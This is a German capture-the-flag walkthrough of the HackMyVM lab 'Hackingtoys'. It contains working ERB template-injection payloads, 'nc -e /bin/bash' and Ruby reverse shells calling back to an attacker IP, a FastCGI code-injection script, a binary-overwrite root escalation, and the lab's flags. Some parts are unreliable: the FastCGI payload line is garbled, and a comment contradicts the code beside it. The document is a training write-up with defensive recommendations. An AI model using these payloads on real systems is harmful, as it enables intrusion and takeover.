Hackingtoys - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
curl
nc (netcat)
Web Browser
Burp Suite (Implied/Manual Request)
urlencoder.io (Implied)
stty
ls
cd
cat
wget
python3 -m http.server
ssh
ssh-keygen
ss
find
nano
linpeas.sh
cgi-fcgi
mktemp
env
base64
grep
chmod
mkdir
sudo
mv
ruby
require (Ruby)
socket (Ruby)
syscall (Ruby)
exec (Ruby)

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Erkundung des Netzwerks, um das Zielsystem zu identifizieren und die offenen Dienste zu ermitteln.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.126	08:00:27:fc:20:4d	PCS Systemtechnik GmbH
                    

**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.126 im lokalen Netzwerk.

**Bewertung:** Ziel-IP gefunden.

**Empfehlung (Pentester):** IP für Nmap-Scan verwenden. **Empfehlung (Admin):** Standard Netzwerküberwachung.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
┌──(root㉿CCat)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
[...]
192.168.2.126   hackingtoys.hmv
                    

**Analyse:** Der Hostname `hackingtoys.hmv` wird der IP 192.168.2.126 in der lokalen `/etc/hosts`-Datei zugeordnet.

**Bewertung:** Ermöglicht die Adressierung des Ziels über den Hostnamen.

**Empfehlung (Pentester):** Hostnamen nutzen. **Empfehlung (Admin):** DNS-Management.

# Nmap UDP Scan
Starting Nmap 7.94SVN [...] at 2024-09-04 11:27 CEST
Nmap scan report for 192.168.2.126
Host is up [...]
Not shown: 995 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
502/udp   closed mbap
623/udp   closed asf-rmcp
1457/udp  closed valisys-lm
32771/udp closed sometimes-rpc6
38293/udp closed landesk-cba
[...]
Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
                     

**Analyse:** Ein schneller Nmap UDP-Scan (`-sU` impliziert) auf die Top-Ports zeigt keine offenen UDP-Ports.

**Bewertung:** Keine offensichtlichen Angriffspunkte über UDP gefunden.

**Empfehlung (Pentester):** Fokus auf TCP-Ports legen. **Empfehlung (Admin):** Unnötige UDP-Dienste deaktivieren.

┌──(root㉿CCat)-[~] └─# nmap -sS -sV -A -T5 192.168.2.126 -p-
Starting Nmap 7.94SVN [...] at 2024-09-04 11:28 CEST
Nmap scan report for hackingtoys.hmv (192.168.2.126)
Host is up [...]
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
[...]
3000/tcp open  ssl/ppp?
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.0 400 Bad Request
[...]
|     Puma caught this error: Invalid HTTP format, parsing fails. Are you trying to open an SSL connection to a non-SSL Puma? (PumaHttpParserError)
[...]
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     content-type: text/html; charset=UTF-8
[...]
|     Action Controller: Exception caught
[...]
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=FR
[...]
1 service unrecognized despite returning data. [...]
MAC Address: 08:00:27:FC:20:4D (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 4.15 - 5.8
[...]
TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms hackingtoys.hmv (192.168.2.126)
[...]
Nmap done: 1 IP address (1 host up) scanned in 71.75 seconds
                    
# Nmap Kurzfassung
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
3000/tcp open  ssl/ppp?
|     Puma caught this error: Invalid HTTP format, parsing fails. Are you trying to open an SSL connection to a non-SSL Puma? (PumaHttpParserError)
                     

**Analyse:** Der Nmap TCP-Scan (`-sS`, `-sV`, `-A`, `-T5`, `-p-`) findet zwei offene Ports: * Port 22: SSH (OpenSSH 9.2p1 auf Debian 12). * Port 3000: Ein Dienst, den Nmap nicht eindeutig identifizieren kann (`ssl/ppp?`). Jedoch deuten die Fingerprint-Strings und Fehlermeldungen klar auf einen **Ruby on Rails / Puma Webserver** hin, der über **SSL/TLS** läuft. Eine normale HTTP-Anfrage (`GetRequest`) führt zu einem `403 Forbidden`-Fehler und einer Rails-Fehlerseite. Eine nicht-HTTP-Anfrage (`GenericLines`) führt zu einem Puma-Fehler bezüglich SSL.

**Bewertung:** SSH ist Standard. Der Dienst auf Port 3000 ist eine Ruby on Rails-Anwendung, die über HTTPS erreichbar sein muss. Dies ist unser Hauptangriffsziel.

**Empfehlung (Pentester):** Die Anwendung auf Port 3000 über HTTPS untersuchen (`https://hackingtoys.hmv:3000` oder `https://192.168.2.126:3000`). Nikto, Gobuster und manuelle Analyse auf dieser URL durchführen. Auf bekannte Schwachstellen in Ruby on Rails, Puma oder der spezifischen Anwendung achten. **Empfehlung (Admin):** Sicherstellen, dass nur notwendige Ports offen sind. Ruby on Rails und Puma aktuell halten und sicher konfigurieren. SSL/TLS korrekt implementieren.

Web Enumeration & SSTI Discovery

Wir untersuchen die Ruby on Rails Anwendung auf Port 3000 über HTTPS.

┌──(root㉿CCat)-[~] └─# nikto -h https://192.168.2.126:3000
# Annahme: Protokoll und Port angepasst
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.126
+ Target Hostname:    192.168.2.126
+ Target Port:        3000
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=FR/ST=Some-State/O=Internet Widgits Pty Ltd
                   Ciphers:  TLS_AES_256_GCM_SHA384
                   Issuer:   /C=FR/ST=Some-State/O=Internet Widgits Pty Ltd
+ Start Time:         2024-09-04 11:30:54 (GMT2)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: Drupal Link header found [...]. (False Positive?)
+ /: Uncommon header 'server-timing' found, [...]
+ /: Uncommon header 'x-runtime' found, [...]
+ /: Uncommon header 'x-request-id' found, [...]
+ /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. [...]
+ /: Cookie _gadgets_session created without the secure flag. [...]
+ /Lkxn7f79.idq: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Hostname '192.168.2.126' does not match certificate's names: . (Selbstsigniertes/Generisches Cert?)
+ /trace.axd: The .NET IIS server has application tracing enabled. (False Positive)
+ /admin-serv/tasks[...]: iPlanet Administration Server [...] (False Positive)
+ /%2f..%2f..%2f[...]: Web_Server_4D [...] directory traversal problem. (False Positive)
[...] (Viele weitere False Positives bezüglich Path Traversal) [...]
+ /shop/magmi/[...]: MAGMI allows any file to be retrieved remotely. (False Positive)
+ /scgi-bin/platform.cgi: Cisco http firewall [...] local file inclusion. (False Positive)
+ 8104 requests: 0 error(s) and 207 item(s) reported on remote host (Sehr viele, meist generische oder False Positives)
[...]
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

**Analyse:** Nikto wird auf `https://192.168.2.126:3000` ausgeführt. * Es erkennt das SSL-Zertifikat (selbstsigniert oder generisch, nicht für die IP gültig). * Es meldet viele Funde (207), aber die meisten scheinen generische Hinweise (fehlende Header wie HSTS, Secure-Flag für Cookie) oder klare False Positives zu sein (Hinweise auf Drupal, .NET, iPlanet, Cisco etc. auf einem Ruby-Server). * Es werden keine spezifischen Schwachstellen für Ruby/Rails/Puma gemeldet.

**Bewertung:** Nikto ist hier wenig hilfreich und produziert viel Rauschen. Die fehlenden Header und Cookie-Flags sind geringfügige Sicherheitsprobleme.

**Empfehlung (Pentester):** Manuelle Untersuchung der Anwendung im Browser. Auf bekannte Ruby on Rails Schwachstellen achten (z.B. Mass Assignment, unsichere Deserialisierung, SSTI). Verzeichnis-/Datei-Scans mit Gobuster/ffuf versuchen. **Empfehlung (Admin):** Sicherheitsheader (HSTS, X-Content-Type-Options) setzen. Secure-Flag für Cookies verwenden.

Wir untersuchen die Anwendung manuell im Browser und finden eine Suchfunktion.

# Manuelle Untersuchung (Browser & curl)
# curl http://hackingtoys.hmv:3000 -Iv -> Ergibt "Empty reply" (SSL Fehler)
# nc -vv 192.168.2.126 3000 -> Bestätigt offenen Port, zeigt Puma-Fehler

# Aufruf von https://192.168.2.126:3000/ im Browser (nach Akzeptieren des Zertifikats)
# Zeigt Seite "Hacking Gadgets List" mit Links zu Produkten (/products/show/X)
# Enthält ein Suchformular:
 

# Test der Suche: https://192.168.2.126:3000/search?query=hacking&message=Product+does+not+exist
# Antwort: Zeigt "Hacking Gadgets List" und den Text "Product does not exist" an.

# Test: Ändern des 'message'-Parameters:
# Aufruf: https://192.168.2.126:3000/search?query=hacking&message=hallo
# Antwort: Zeigt "Hacking Gadgets List" und den Text "hallo" an.
                     

**Analyse:** 1. `curl` ohne HTTPS schlägt fehl. `nc` bestätigt den Port. 2. Der Aufruf der Seite über HTTPS im Browser zeigt eine Liste von Gadgets und ein Suchformular. 3. Das Suchformular sendet eine GET-Anfrage an `/search` mit den Parametern `query` und `message`. 4. Der Wert des `message`-Parameters wird auf der Ergebnisseite direkt ausgegeben. Wenn wir den Wert ändern (z.B. zu `hallo`), wird dieser neue Wert angezeigt.

**Bewertung:** Das direkte Echo des `message`-Parameters ist ein starker Hinweis auf eine mögliche Cross-Site-Scripting (XSS)- oder Server-Side Template Injection (SSTI)-Schwachstelle. Da es sich um eine Ruby on Rails / Puma Anwendung handelt, ist SSTI in der ERB-Template-Engine wahrscheinlich.

**Empfehlung (Pentester):** Standard-SSTI-Payloads für Ruby/ERB im `message`-Parameter testen. Ziel ist Codeausführung auf dem Server. **Empfehlung (Admin):** Benutzereingaben (insbesondere solche, die in Templates gerendert werden) immer validieren und kontextbezogen escapen/sanitisieren, um XSS und SSTI zu verhindern.

Wir testen auf Server-Side Template Injection (SSTI) im `message`-Parameter.

# SSTI Tests (Browser / curl)
# Payload 1: ${7*7} (Syntax für andere Engines)
# URL: https://192.168.2.126:3000/search?query=hacking&message=${7*7}
# Ergebnis: Zeigt "${7*7}" (wird nicht interpretiert)

# Payload 2: <%= 7+8 %> (ERB Syntax) - URL-encoded: %3C%25%3D%207%2B8%20%25%3E
# URL: https://192.168.2.126:3000/search?query=hacking&message=%3C%25%3D%207%2B8%20%25%3E
# Ergebnis: Zeigt "15" (Erfolgreich! ERB SSTI bestätigt)

# Payload 3: <%= $(id) %> (Shell-Kommando - falsche Syntax für Ruby) - URL-encoded: %3C%25%3D%20%24%28id%29%20%25%3E
# URL: https://192.168.2.126:3000/search?query=hacking&message=%3C%25%3D%20%24%28id%29%20%25%3E
# Ergebnis: SyntaxError in ProductsController#search (Bestätigt ERB, falsche Syntax)

# Payload 4: <%= `id` %> (Ruby Code Execution via Backticks) - URL-encoded: %3C%25%3D%20%60id%60%20%25%3E
# URL: https://192.168.2.126:3000/search?query=hacking&message=%3C%25%3D%20%60id%60%20%25%3E
# Ergebnis: Zeigt "uid=1000(lidia) gid=1000(lidia) groups=1000(lidia),100(users),1002(rvm)" (RCE erfolgreich!)

# Payload 5: <%= `cat /etc/passwd` %> (Datei lesen) - URL-encoded: %3C%25%3D%20%60cat%20%2Fetc%2Fpasswd%60%20%25%3E
# URL: view-source:https://192.168.2.126:3000/search?query=hacking&message=%3C%25%3D%20%60cat%20%2Fetc%2Fpasswd%60%20%25%3E
# Ergebnis: (Inhalt von /etc/passwd wird angezeigt), zeigt Benutzer lidia und dodi.
                      

**Analyse:** 1. Ein Payload für andere Engines (`${7*7}`) funktioniert nicht. 2. Ein einfacher ERB-Payload (`<%= 7+8 %>`) wird erfolgreich ausgeführt und ergibt `15`. Dies bestätigt eine SSTI-Schwachstelle in der ERB-Template-Engine. 3. Ein Versuch, Shell-Syntax direkt zu verwenden (`$(id)`), schlägt fehl, da es keine gültige Ruby-Syntax ist. 4. Ein Payload mit Backticks (`<%= \`id\` %>`), der in Ruby zur Kommandoausführung dient, wird erfolgreich ausgeführt und gibt die Ausgabe des `id`-Befehls zurück. Wir sehen, dass der Prozess als Benutzer `lidia` läuft. 5. Ein weiterer Test mit `cat /etc/passwd` bestätigt, dass wir beliebige Befehle ausführen und Dateien lesen können. Wir sehen die Benutzer `lidia` und `dodi`.

**Bewertung:** Kritische RCE-Schwachstelle durch Server-Side Template Injection (SSTI) in Ruby/ERB gefunden! Wir können Befehle als Benutzer `lidia` ausführen.

**Empfehlung (Pentester):** Die SSTI-Schwachstelle nutzen, um eine Reverse Shell als `lidia` zu erhalten. **Empfehlung (Admin):** **SSTI-Schwachstelle sofort beheben!** Benutzereingaben, die in Templates verwendet werden, müssen rigoros saniert werden. Sicherere Template-Engines oder Konfigurationen verwenden, die Codeausführung verhindern.

SSTI Exploit (Initial Access as lidia)

Wir nutzen die gefundene SSTI-Schwachstelle, um eine Reverse Shell als Benutzer `lidia` zu erlangen.

# Reverse Shell Payload (ERB/Ruby)
# Payload: <%= `nc -e /bin/bash 192.168.2.199 4444` %>
# URL-Encoded: %3C%25%3D%20%60nc%20-e%20%2Fbin%2Fbash%20192.168.2.199%204444%60%20%25%3E
                     
# Listener starten
┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
# SSTI mit Reverse Shell Payload auslösen (Browser/curl)
# Aufruf: https://192.168.2.126:3000/search?query=hacking&message=%3C%25%3D%20%60nc%20-e%20%2Fbin%2Fbash%20192.168.2.199%204444%60%20%25%3E
                      
# Listener empfängt Verbindung
┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.126] 34560 (IP .125 im Log?)
id
uid=1000(lidia) gid=1000(lidia) groups=1000(lidia),100(users),1002(rvm)
                       
# Shell Stabilisierung
lidia@hacktoys:/opt/app/gadgets$ stty rows 48 columns 94
lidia@hacktoys:/opt/app/gadgets$ id
uid=1000(lidia) gid=1000(lidia) groups=1000(lidia),100(users),1002(rvm)

**Analyse:** 1. Wir erstellen einen SSTI-Payload, der `nc -e /bin/bash` verwendet, um eine Reverse Shell zu unserer IP (`192.168.2.199`) auf Port `4444` zu senden. 2. Wir starten einen Netcat-Listener auf Port 4444. 3. Wir senden den URL-codierten Payload über den `message`-Parameter an die `/search`-URL. 4. Der Server führt den `nc`-Befehl aus, und unser Listener empfängt die Verbindung. Wir haben eine Shell als Benutzer `lidia` (Mitglied der Gruppen `lidia`, `users`, `rvm`). 5. Die Shell wird mit `stty` stabilisiert.

**Bewertung:** Initial Access als `lidia` erfolgreich via SSTI erlangt!

**Empfehlung (Pentester):** Umgebung als `lidia` enumerieren (Home-Verzeichnis, SSH-Keys, sudo, Cronjobs). **Empfehlung (Admin):** SSTI-Schwachstelle beheben.

FastCGI Exploit (Lateral Movement to dodi)

Als `lidia` enumerieren wir das System weiter. Wir finden Hinweise auf einen FastCGI-Dienst und nutzen diesen für Lateral Movement zum Benutzer `dodi`.

*(Hinweis: Der Übergang von SSTI zu FastCGI ist im Log etwas abrupt. Es wird angenommen, dass die Enumeration als `lidia` zur Entdeckung des FastCGI-Dienstes führte, der auf Port 9000 lokal lauscht, wie in `ss -altpn` als `lidia` gesehen.)*

lidia@hacktoys:~$ ss -altpn
State  Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process
LISTEN 0       128            0.0.0.0:22          0.0.0.0:*
LISTEN 0       1024           0.0.0.0:3000        0.0.0.0:*     users:(("ruby",pid=525,fd=7)) (Puma/Rails)
LISTEN 0       511          127.0.0.1:80          0.0.0.0:*     (Nginx auf localhost?)
LISTEN 0       4096         127.0.0.1:9000        0.0.0.0:*     (FastCGI Listener!)
LISTEN 0       128               [::]:22             [::]:*
                     
# (Auf Angreifer-Maschine: SSH Port Forwarding einrichten)
┌──(root㉿CCat)-[~/Hackingtools] └─# ssh -L 9000:127.0.0.1:9000 lidia@192.168.2.126 -i id_rsa
# Leitet lokalen Port 9000 zum Ziel-Port 9000
Enter passphrase for key '/root/.ssh/id_rsa':
Linux hacktoys [...]
lidia@hacktoys:~$ # SSH Verbindung mit Port Forwarding aktiv
                        
# (Auf Angreifer-Maschine: FastCGI Exploit Skript vorbereiten/anpassen)
┌──(root㉿CCat)-[~/.ssh] └─# vi fast_CGI.sh
┌──(root㉿CCat)-[~/.ssh] └─# cat fast_CGI.sh
#!/bin/bash

PAYLOAD="';?>" # Geändert auf 'whoami'
FILENAMES="/var/www/html/index.php" # Existierender PHP-Pfad auf Ziel
HOST=$1 # Wird 'localhost' sein wegen Port Forwarding
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain;base64,$B64'" SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
    cat $OUTPUT
done
                       
# (Auf Angreifer-Maschine: Exploit ausführen gegen lokalen Forwarding-Port)
┌──(root㉿CCat)-[~/.ssh] └─# ./fast_CGI.sh localhost | grep dodi
# Filtert nach 'dodi' in der Ausgabe
';?>"
[...]
                          
# (Listener starten)
┌──(root㉿CCat)-[~] └─# nc -lvnp 4443
listening on [any] 4443 ...
# (Exploit erneut ausführen)
┌──(root㉿CCat)-[~/.ssh] └─# ./fast_CGI.sh localhost
# (Listener empfängt Verbindung)
┌──(root㉿CCat)-[~] └─# nc -lvnp 4443
listening on [any] 4443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.126] 37312
id
uid=1001(dodi) gid=1001(dodi) groups=1001(dodi),100(users)
                            
# (Shell Stabilisierung)
dodi@hacktoys:/var/www/html$ stty rows 48 columns 94
dodi@hacktoys:/var/www/html$ id
uid=1001(dodi) gid=1001(dodi) groups=1001(dodi),100(users)

**Analyse:** 1. Als `lidia` stellen wir fest, dass ein Dienst auf `127.0.0.1:9000` lauscht. Dies ist wahrscheinlich ein PHP-FPM oder FastCGI-Prozess. 2. Wir richten auf unserer Angreifer-Maschine einen SSH-Port-Forward ein (`ssh -L 9000:127.0.0.1:9000 lidia@...`), um von unserer Maschine auf den lokalen Port 9000 des Ziels zugreifen zu können. 3. Wir verwenden ein Skript (`fast_CGI.sh`), das `cgi-fcgi` nutzt, um speziell präparierte Anfragen an den FastCGI-Dienst zu senden. Durch Setzen von `PHP_VALUE` und `auto_prepend_file` können wir PHP-Code einschleusen. 4. Ein erster Test mit `system('whoami')` im Payload zeigt, dass der FastCGI-Prozess als Benutzer `dodi` läuft. 5. Wir passen den Payload an, um eine Netcat-Reverse-Shell (`nc -e /bin/bash [IP] 4443`) zu starten. 6. Wir starten einen Listener auf Port 4443. 7. Wir führen das `fast_CGI.sh`-Skript gegen unseren lokalen Port 9000 (der zum Ziel weitergeleitet wird) aus. 8. Unser Listener empfängt die Verbindung, und wir haben eine Shell als Benutzer `dodi`. 9. Die Shell wird stabilisiert.

**Bewertung:** Lateral Movement von `lidia` zu `dodi` erfolgreich! Die FastCGI-Schnittstelle war unsicher konfiguriert oder zugänglich und lief im Kontext des Benutzers `dodi`, was die Codeausführung als dieser Benutzer ermöglichte.

**Empfehlung (Pentester):** Umgebung als `dodi` enumerieren (`sudo -l`), User-Flag lesen. **Empfehlung (Admin):** FastCGI/PHP-FPM sicher konfigurieren. Zugriff auf den Socket/Port nur für den Webserver erlauben. `allow_url_include` und `allow_url_fopen` in PHP deaktivieren, wenn nicht benötigt.

Privilege Escalation (dodi to root via sudo & Binary Hijack)

Als Benutzer `dodi` suchen wir nach dem Weg zu Root.

dodi@hacktoys:/var/www/html$ cd ~
dodi@hacktoys:~$ ls -la
[...]
-rwx------ 1 dodi dodi   33 May 20 15:14 user.txt
                    
dodi@hacktoys:~$ cat user.txt
b075b24bdb11990e185c32c43539c39f
# (SSH Key für dodi einrichten - redundant, da Shell bereits vorhanden)
dodi@hacktoys:~$ mkdir .ssh
dodi@hacktoys:~$ wget 192.168.2.199/authorized_keys
[...]
dodi@hacktoys:~$ chmod 700 .ssh
# Korrekte Berechtigung für .ssh Verzeichnis
dodi@hacktoys:~$ chmod 600 .ssh/authorized_keys
# Korrekte Berechtigung für authorized_keys
# (SSH Login als dodi von Angreifer-Maschine erfolgreich)
┌──(root㉿CCat)-[~/.ssh] └─# ssh dodi@192.168.2.126 -i id_rsa
[...]
dodi@hacktoys:~$
                       
dodi@hacktoys:~$ sudo -l
Matching Defaults entries for dodi on hacktoys:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dodi may run the following commands on hacktoys:
    (ALL : ALL) NPASSWD: /usr/local/bin/rvm_rails.sh
                       
dodi@hacktoys:/tmp$ ls -la /usr/local/bin/rvm_rails.sh
-rwxr-xr-x 1 root root 660 May 20 17:02 /usr/local/bin/rvm_rails.sh

**Analyse:** 1. Wir lesen die User-Flag für `dodi`. 2. *(Optional/Redundant)* Es wird ein SSH-Schlüssel für `dodi` eingerichtet, was für den weiteren Verlauf nicht notwendig ist, da wir bereits eine Shell haben. 3. `sudo -l` für `dodi` zeigt, dass er das Skript `/usr/local/bin/rvm_rails.sh` als `ALL:ALL` (effektiv `root`) ohne Passwort (`NOPASSWD`) ausführen darf. 4. Das Skript gehört `root` und ist für `dodi` nicht direkt schreibbar.

**Bewertung:** Dies ist der klare Privesc-Vektor zu Root. Wir müssen das Skript `/usr/local/bin/rvm_rails.sh` analysieren, um zu sehen, ob wir sein Verhalten manipulieren können.

**Empfehlung (Pentester):** Den Inhalt von `/usr/local/bin/rvm_rails.sh` untersuchen (`cat`). Prüfen, ob es externe Befehle mit relativen Pfaden aufruft oder auf Dateien zugreift, die wir kontrollieren können. **Empfehlung (Admin):** `sudo`-Regeln für Skripte genau prüfen. Sicherstellen, dass Skripte, die mit Root-Rechten laufen, nicht leicht manipulierbar sind (z.B. durch PATH Hijacking, unsichere Dateizugriffe).

dodi@hacktoys:/tmp$ cat /usr/local/bin/rvm_rails.sh
#!/bin/bash
# Script to manage Rails applications using RVM

# Source RVM environment
source /etc/profile.d/rvm.sh &> /dev/null || source ~/.rvm/scripts/rvm &> /dev/null

# Check if a command is provided
if [ -z "$1" ]; then
    echo "Usage: $0 [rails_command]"
    exit 1
fi

# Execute the rails command
echo "Executing Rails command: $@"
exec /usr/local/rvm/gems/ruby-3.1.0/bin/rails "$@" # Ruft 'rails' ohne absoluten Pfad auf!
                         

**Analyse:** Das Skript `/usr/local/bin/rvm_rails.sh` lädt die RVM (Ruby Version Manager)-Umgebung und führt dann den Befehl `rails` mit den übergebenen Argumenten aus. Wichtig ist, dass `/usr/local/rvm/gems/ruby-3.1.0/bin/rails` direkt aufgerufen wird, *nicht* `rails` über den System-PATH.

**Bewertung:** Der Aufruf von `/usr/local/rvm/gems/ruby-3.1.0/bin/rails` erfolgt mit einem (quasi) absoluten Pfad. Ein einfaches PATH-Hijacking ist hier nicht möglich. Allerdings haben wir im vorherigen Schritt gesehen, dass der Benutzer `lidia` (zu dem `dodi` keinen direkten Zugriff hat) möglicherweise Schreibrechte auf Dateien innerhalb des RVM-Pfades haben könnte (da `lidia` zur `rvm`-Gruppe gehört). Der Exploit im Log deutet darauf hin, dass das `/usr/local/rvm/gems/ruby-3.1.0/bin/rails`-Binary selbst ersetzt werden kann.

**Empfehlung (Pentester):** 1. Überprüfen, ob das Verzeichnis `/usr/local/rvm/gems/ruby-3.1.0/bin/` oder die Datei `rails` darin für `dodi` oder eine Gruppe, der `dodi` angehört, schreibbar ist (`ls -ld /usr/local/rvm/gems/ruby-3.1.0/bin/`, `ls -l /usr/local/rvm/gems/ruby-3.1.0/bin/rails`). 2. **Wenn schreibbar:** Das Original-`rails`-Binary sichern, durch ein eigenes Skript (z.B. Ruby-Reverse-Shell) ersetzen und `sudo /usr/local/bin/rvm_rails.sh` ausführen. 3. **Wenn nicht schreibbar (wahrscheinlicher):** Der im Log gezeigte Exploit-Pfad erfordert Schreibrechte als `lidia`. Wir müssen also den Wechsel zu `lidia` wiederholen (oder die Shell offen halten) und dann als `lidia` das `rails`-Binary ersetzen. Anschließend als `dodi` den `sudo`-Befehl ausführen. **Empfehlung (Admin):** Berechtigungen für systemweite Installationen (wie RVM) härten. Sicherstellen, dass Binaries nicht von unprivilegierten Benutzern überschrieben werden können. `sudo`-Regeln vermeiden, die auf potenziell manipulierbare Skripte oder Binaries verweisen.

Wir führen den Exploit durch, indem wir (als `lidia`) das `rails`-Binary durch eine Ruby-Reverse-Shell ersetzen und dann (als `dodi`) das `sudo`-Skript ausführen.

# (Als lidia, z.B. über SSH-Login)
lidia@hacktoys:/tmp$ nano rvm.sh
#!/usr/bin/env ruby
require 'socket'
s = Socket.new 2,1
s.connect Socket.sockaddr_in 9005, '192.168.2.199' # Reverse Shell Ziel
[0,1,2].each {|fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'
                         
lidia@hacktoys:/tmp$ mv rvm.sh rails
lidia@hacktoys:/tmp$ mv rails /usr/local/rvm/gems/ruby-3.1.0/bin/rails
# Original überschreiben (erfordert Schreibrechte als lidia!)
lidia@hacktoys:/tmp$ ls -la /usr/local/rvm/gems/ruby-3.1.0/bin/rails
-rwxrwxrwx 1 lidia lidia 174 Sep  8 00:47 /usr/local/rvm/gems/ruby-3.1.0/bin/rails
(Berechtigungen scheinen unsicher)
# (Listener auf Angreifer-Maschine starten)
┌──(root㉿CCat)-[~] └─# nc -lvnp 9005
listening on [any] 9005 ...
# (Als dodi, z.B. über die FastCGI-Shell oder SSH)
dodi@hacktoys:/tmp$ sudo -u root /usr/local/bin/rvm_rails.sh
# Beliebiges Argument wird ignoriert
# (Listener empfängt Verbindung)
┌──(root㉿CCat)-[~] └─# nc -lvnp 9005
listening on [any] 9005 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.126] 44690
# id
uid=0(root) gid=0(root) groups=0(root),1002(rvm)
# # Root-Shell erhalten!
                             

**Analyse:** 1. Wir (als `lidia`) erstellen eine Ruby-Reverse-Shell, die sich zu unserer IP auf Port 9005 verbindet. 2. Wir benennen das Skript in `rails` um. 3. Wir verschieben/überschreiben das originale `rails`-Binary im RVM-Pfad mit unserem Skript. Dies funktioniert, da `lidia` (oder die Gruppe `rvm`) offenbar Schreibrechte in diesem Verzeichnis hat. 4. Wir starten einen Listener auf Port 9005. 5. Wir (als `dodi`) führen das `sudo`-Skript aus: `sudo -u root /usr/local/bin/rvm_rails.sh`. 6. Das `rvm_rails.sh`-Skript führt nun unser manipuliertes `rails`-Skript (die Ruby-Reverse-Shell) als `root` aus. 7. Unser Listener empfängt die Verbindung, und wir haben eine Root-Shell.

**Bewertung:** Privilege Escalation zu Root erfolgreich! Die Kombination aus einer unsicheren `sudo`-Regel für `dodi` und unsicheren Dateiberechtigungen im RVM-Verzeichnis, die `lidia` das Überschreiben eines Binaries erlaubten, wurde ausgenutzt.

**Empfehlung (Pentester):** Root-Flag lesen. Bericht abschließen. Das originale `rails`-Binary wiederherstellen (optional). **Empfehlung (Admin):** Unsichere `sudo`-Regel entfernen. Dateiberechtigungen für systemweite Tools/Bibliotheken (wie RVM) härten. Prinzip der geringsten Rechte für alle Benutzer durchsetzen.

Als Root lesen wir die Flags.

# cd /root
# ls
root.txt
# cat root.txt
64aa5a7aaf42af74ee6b59d5ac5c1509

**Analyse:** Aus der Root-Shell lesen wir die `/root/root.txt`.

**Bewertung:** Root-Flag erfolgreich gelesen.

**Empfehlung (Pentester):** Ergebnisse dokumentieren. **Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben.

Flags

cat /home/dodi/user.txt
b075b24bdb11990e185c32c43539c39f
cat /root/root.txt
64aa5a7aaf42af74ee6b59d5ac5c1509